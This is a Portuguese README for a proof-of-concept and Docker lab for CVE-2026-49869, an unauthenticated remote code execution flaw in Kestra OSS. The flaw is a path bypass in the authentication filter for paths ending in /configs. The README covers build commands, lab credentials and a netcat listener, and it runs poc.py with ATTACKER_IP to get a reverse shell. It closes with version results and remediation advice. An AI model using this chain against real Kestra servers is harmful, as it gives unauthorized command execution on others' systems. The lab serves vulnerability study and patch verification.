
PoC e laboratório Docker para CVE-2026-49869, um RCE não autenticado no Kestra OSS através de um bypass de caminho no AuthenticationFilter que permite a criação de fluxos e execução de comandos.
★PoC e laboratório Docker para o bypass de autenticação no AuthenticationFilter do Kestra OSS★
Execute este laboratório apenas em sistemas que você controla. O exemplo
-p 8080:8080pode publicar a API vulnerável em todas as interfaces do host; bloqueie o acesso de outras redes.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
O Kestra usa Basic Auth para proteger sua API. Em versões OSS afetadas, o AuthenticationFilter trata qualquer caminho de requisição terminando em /configs como um endpoint de configuração público. Um cliente não autenticado pode, portanto, criar um flow chamado configs e então executá-lo através de caminhos da API que também terminam em /configs. Uma tarefa de shell nesse flow pode executar comandos no contêiner worker do Kestra. A falha e a cadeia de RCE estão descritas no aviso de segurança do Kestra.
| Branch do Kestra OSS | Versões vulneráveis | Primeira versão corrigida |
|---|---|---|
| 1.0.x e anteriores | Antes de 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 até 1.3.20 | 1.3.21 |
O laboratório usa v1.3.20 com Basic Auth OSS habilitado. O problema afeta esse caminho de autenticação quando a API do Kestra está acessível; a imagem local é baseada em kestra/kestra:v1.3.20.
/configs; o aviso também descreve SSRF através de um template de workflow.Privilégios de contêiner não implicam privilégios de host.
O repositório deve conter Dockerfile, entrypoint.sh e poc.py junto com este README. O Docker é necessário para executar o alvo; o Python 3 é necessário para o PoC. Nenhum pacote Python precisa ser instalado.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
O entrypoint.sh habilita o Basic Auth com uma conta exclusiva do laboratório:
| Usuário | Senha |
|---|---|
[email protected] | Eqst123! |
O Kestra exige um nome de usuário em formato de e-mail e uma senha com pelo menos oito caracteres, letras maiúsculas e minúsculas, e um dígito. Essas credenciais são publicadas apenas para testes locais.
Aguarde até que a primeira requisição retorne 200. A segunda requisição deve retornar 401, mostrando que o Basic Auth protege um caminho comum da API:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
Se um contêiner parado já tiver o mesmo nome, use docker start cve-2026-49869-lab para reutilizá-lo, ou remova esse contêiner antes de criar um novo com docker run.
O script envia duas requisições sem credenciais: uma cria ou atualiza configs/configs com uma tarefa de shell, e a seguinte inicia sua execução. Nenhum flow criado pelo usuário é necessário. Executar o script novamente substitui o flow do laboratório pelo mesmo nome.
Primeiro, inicie um listener na máquina que receberá a conexão de shell:
nc -lvnp LISTENER_PORT
Em seguida, execute o PoC a partir do diretório que contém poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
Para um laboratório Docker na mesma máquina, substitua TARGET por 127.0.0.1. Defina ATTACKER_IP como um endereço IPv4 que o contêiner possa alcançar; o script não inicia o listener. O script imprime a resposta de execução, incluindo um ID de execução. Uma conexão no listener é necessária para confirmar que o reverse shell em si funcionou.
O teste local registrado usou uma tarefa Log inofensiva para verificar o bypass de autenticação e a execução do workflow. Ele não executou o payload de reverse shell.
| Verificação | v1.3.20 | v1.3.21 |
|---|---|---|
| API protegida comum, sem credenciais | 401 | 401 |
Criar flow configs, sem credenciais | 200 | 401 |
Iniciar execução de configs, sem credenciais | 200 | 401 |
| Tarefa inofensiva na versão vulnerável | SUCCESS, marcador nos logs | — |
O callback do reverse shell não faz parte desses resultados registrados.
Atualize para pelo menos 1.0.45 no branch 1.0.x ou 1.3.21 nos branches 1.1.x–1.3.x. A correção upstream normaliza o caminho e verifica a rota exata de configuração pública em vez de aceitar todo sufixo /configs. Até que a atualização seja concluída, restrinja o acesso à API do Kestra e permita acesso não autenticado apenas à rota pública pretendida em um proxy.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab